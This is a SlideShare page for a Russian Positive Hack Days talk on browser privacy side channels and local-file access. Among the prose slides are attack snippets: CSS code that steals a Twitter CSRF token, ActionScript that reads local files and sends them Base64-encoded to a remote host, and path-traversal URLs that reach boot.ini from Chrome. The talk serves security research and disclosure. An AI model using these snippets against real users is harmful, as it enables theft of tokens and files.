SlideShare ist ein Scribd-Unternehmen logo
1 von 24
Downloaden Sie, um offline zu lesen
Безопасность браузеров
Новый взгляд
Google browser security handbook
● Наиболее полное описание
  уязвимостей и механизмов
  безопасности, применяющихся в
  браузерах.
● Рассмотрим часть 2, главу "Life outside
  same-origin rules" раздел "Privacy-related
  side channels".
● http://code.google.com/p/browsersec/wiki/Part2
Google browser security handbook
● Reading back CSS :visited class on
  links
● Full-body CSS theft (Chris Evans
  03/09/2010)
● Resource inclusion probes with onload
  and onerror checks.
● Image size fingerprinting
● Cache timing
● General resource timing (Chris Evans
  11/12/2009)
Reading back CSS :visited class
on links (J.Ruderman at 2010)
● Для посещенных ссылок автоматически
  меняется цвет.
● В любом HTML документе, цвет ссылки можно
  прочитать через .getComputedStyle или .
  currentStyle (cross-domain).
● Если цвет ссылки поменялся, то
  злоумышленник делает вывод, что в истории
  жертвы есть целевая страница.
● Перебирая адреса страниц, злоумышленник
  получает историю посещений жертвы.
Full-body CSS theft (Chris Evans
 2010, only IE8)
  ● Браузеры воспринимают HTML как CSS, который
    можно подключить через <STYLE>
  ● В HTML могут быть конфиденциальные данные
    (например, CSRF токен)
  ● Конф. данные можно получить благодаря гибкому
    CSS парсеру, встроенному в браузер.

<style>
@import url("http://twitter.com/scarybeaststest");
</style>
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
borrowed = borrowed.substring(i + 22);
Resource inclusion probes with
onload and onerror checks
● Браузеры вызывают события onload/onerror в
  зависимости от HTTP статуса загрузки документа
● При загрузке страниц с других доменов в тэгах:
  <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED>
  <IFRAME> <FRAME> отправляется запрос с
  аутентификационными данными (COKIES)
● Веб-приложения часто имеют страницы, HTTP
  статус которых зависит от авторизации
  пользователя (HTTP 3xx, HTTP 4xx)
● Злоумышленник проверяет текущий статус
  авторизации жертвы на целевом домене с любой
  страницы.
Image size finderprinting

● Браузеры автоматически присваивают реальные
  размеры загруженному на страницу изображению
● При загрузке картинок с других доменов в тэге
  <IMG> отправляется запрос с
  аутентификационными данными (COKIES)
● Веб-приложения часто имеют динамические
  картинки, высота и ширина которых зависит от
  статуса авторизации пользователя (или др. прав)
● Злоумышленник проверяет текущий статус
  авторизации жертвы на целевом домене с любой
  страницы.
Cache timing

● После посещения страницы, она копируется в кэш
  браузера - локальные данные ПК
● Если страница находится к кэше, ее загрузка
  осуществляется существенно быстрее
  (пропорционально размеру страницы)
● Злоумышленник может проверить наличие
  страницы в кэше браузера жертвы зная время ее
  загрузки (IFRAME -> onload event)
General resource timing (Chris
Evans 11/12/2009)
● Часто размер динамической страницы веб-
  приложения зависит от статуса авторизации
  пользователя
● Если пользователь авторизован, время загрузки
  страницы будет отличаться от случая, когда
  пользователь не авторизован
● Злоумышленник может проверить статус
  авторизации жертвы зная время ее загрузки
  (IFRAME -> onload event)
Новое в Image size finderprinting.

● Internet Explorer 8, 9, 10 (platform preview)
  поддерживают свойство fileSize для объектов image
  (<img>) и document, что позволяет получить размер
  картинки в байтах
● fileSize позволяет сильно улучшить зону покрытия
  метода
● Метод можно использовать не только для проверки
  авторизации, но и для проверки наличия локальных
  файлов картинок при открытии HTML в зоне file://
Механизмы загрузки файлов в
браузерах
● Можно ли загрузить произвольный файл на диск
  без согласия пользователя?
● Можно ли предугадать путь к загруженному файлу?
Механизмы кэширования в
браузерах
● Рассмотрим как кэш браузера храниться на диске
  (файлы, SQLite).
● В каких случаях кэшированные страницы можно
  использовать как локальные HTML из того же
  браузера
Cache finderprinting (Chrome)
● Требует локального HTML с кодом PoС
● Используем размеры картинок как сигнатуры
  для распознавания сайтов в кэше.
● Можно определить размер кэша с точностью N,
  где N - среднее количество файлов кэша, на
  которое приходиться одна картинка
Cache finderprinting (Chrome)
Почему работает метод?

 ● Кэш храниться в виде раздельных локальных
   файлов
 ● Возможен доступ к файлам с кэшем из
   браузера
 ● Имена кэш-файлов предугадываемые
   (нумерованные)
 ● Image size finderprinting
 ● На проверяемом сайте есть картинка
   уникальных размеров или их
   последовательность:
В примере:
              Youtube: 113x392,
              Google: 284x189 && 167x253
Local files access (HTML)
● Можно ли получить содержимое локальных
  файлов через .innerHTML?
● Как проверить наличие произвольного
  локального файла с ФС?
Local files access (SWF)
  ● Файл должен быть собран с опцией (Flex)
--use-network=false
  ● Плагин должен быть открыт в зоне file://

private function getData(name:String):void{
   var url:URLRequest=new URLRequest(name);
   var loader:URLLoader=new URLLoader();
   loader.addEventListener(Event.COMPLETE,populate);
   loader.load(url); }
private function sendData(host:String,data:String):void{
   var enc:Base64Encoder=new Base64Encoder();
   enc.encode(data);
   data=enc.toString();
   navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");
}                   http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
                     http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
                     E2%80%99s-local-with-filesystem-sandbox/
Local files access (SWF)




         http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
         http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
         E2%80%99s-local-with-filesystem-sandbox/
Local files access (PDF)
 ● Adobe 908
 ● Adobe 925

We will begin our investigation
based on that information.

In the meantime, we ask that
you do not publicly disclose
this potential issue, in order to
protect Adobe's customers.
This has been assigned the
Adobe tracking number 908.
Pri-1
                                                             Area-Internals
                                                             SecSeverity-

 From http:// to file:// (Chrome)                            Medium
                                                             Type-Security
                                                             Mstone-11



Issue 72492 (Feb 9, 2011)
  ● Из командой строки (.lnk файлов) URL вида http:
    //google.com/../../../../../../../../../../boot.ini ведет на C:
    /boot.ini
  ● Из ссылок в приложениях (GTalk,ICQ,Skype) надо
    обойти встроенную нормализацию:
http://www.google.ru?q=OMFG../#a/../../../../../../../../../../..
/boot.ini
  ● Можно вызвать через PDF документ
    расположенный в зоне http://:
app.launchURL("http://../../../../../../../boot.ini",true)
Pri-1
                                   Area-Internals
                                   SecSeverity-

From http:// to file:// (Chrome)   Medium
                                   Type-Security
                                   Mstone-11
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Что нас ждет? GUI уязвимости
 ● URL spoofing
 ● PKI spoofing
 ● Action spoofing
 ● Dialogs bypass
ВОПРОСЫ ???


КОНТАКТЫ:
D0znpp@ONSEC.RU

Weitere ähnliche Inhalte

Was ist angesagt?

2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.Омские ИТ-субботники
 
Битва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовБитва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовindex.art
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extensionchaykaborya
 
01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложений01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложенийRoman Brovko
 
Что надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчикуЧто надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчикуАлександр Майоров
 
Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...JavaDayUA
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковYandex
 
06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTP06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTPRoman Brovko
 
02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиенты02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиентыRoman Brovko
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days
 
17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщенияRoman Brovko
 
Переход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanapeПереход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanapeWebCanape
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11Technopark
 
Redis varnish js
Redis varnish jsRedis varnish js
Redis varnish jsiliakan
 
07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервера07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервераRoman Brovko
 
Web весна 2013 лекция 11
Web весна 2013 лекция 11Web весна 2013 лекция 11
Web весна 2013 лекция 11Technopark
 
08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backendRoman Brovko
 

Was ist angesagt? (20)

Major mistakes in site moving
Major mistakes in site movingMajor mistakes in site moving
Major mistakes in site moving
 
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
 
Битва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовБитва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтов
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
 
01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложений01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложений
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Что надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчикуЧто надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчику
 
Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
 
06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTP06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTP
 
02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиенты02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиенты
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
 
17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения
 
Переход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanapeПереход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanape
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11
 
Redis varnish js
Redis varnish jsRedis varnish js
Redis varnish js
 
WWW
WWWWWW
WWW
 
07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервера07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервера
 
Web весна 2013 лекция 11
Web весна 2013 лекция 11Web весна 2013 лекция 11
Web весна 2013 лекция 11
 
08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend
 

Ähnlich wie Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
1С-Битрикс - Производительность
1С-Битрикс - Производительность1С-Битрикс - Производительность
1С-Битрикс - ПроизводительностьAlexander Demidov
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2GoQA
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаrevisium
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''DneprCiklumEvents
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Как банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьКак банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьAndrey Apuhtin
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Fwdays
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Александр Егурцов
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
Оптимизация JavaScript в Drupal
Оптимизация JavaScript в DrupalОптимизация JavaScript в Drupal
Оптимизация JavaScript в DrupalVlad Savitsky
 

Ähnlich wie Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day) (20)

PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
обзор браузеров
обзор браузеровобзор браузеров
обзор браузеров
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
1С-Битрикс - Производительность
1С-Битрикс - Производительность1С-Битрикс - Производительность
1С-Битрикс - Производительность
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
Бесплатное ПО
Бесплатное ПОБесплатное ПО
Бесплатное ПО
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практика
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Как банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьКак банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасность
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Оптимизация JavaScript в Drupal
Оптимизация JavaScript в DrupalОптимизация JavaScript в Drupal
Оптимизация JavaScript в Drupal
 

Mehr von Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Mehr von Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

  • 2. Google browser security handbook ● Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах. ● Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels". ● http://code.google.com/p/browsersec/wiki/Part2
  • 3. Google browser security handbook ● Reading back CSS :visited class on links ● Full-body CSS theft (Chris Evans 03/09/2010) ● Resource inclusion probes with onload and onerror checks. ● Image size fingerprinting ● Cache timing ● General resource timing (Chris Evans 11/12/2009)
  • 4. Reading back CSS :visited class on links (J.Ruderman at 2010) ● Для посещенных ссылок автоматически меняется цвет. ● В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или . currentStyle (cross-domain). ● Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница. ● Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.
  • 5. Full-body CSS theft (Chris Evans 2010, only IE8) ● Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE> ● В HTML могут быть конфиденциальные данные (например, CSRF токен) ● Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер. <style> @import url("http://twitter.com/scarybeaststest"); </style> var borrowed = document.body.currentStyle.fontFamily; var i = borrowed.indexOf("authenticity_token = '"); borrowed = borrowed.substring(i + 22);
  • 6. Resource inclusion probes with onload and onerror checks ● Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документа ● При загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES) ● Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx) ● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 7. Image size finderprinting ● Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению ● При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES) ● Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав) ● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 8. Cache timing ● После посещения страницы, она копируется в кэш браузера - локальные данные ПК ● Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы) ● Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)
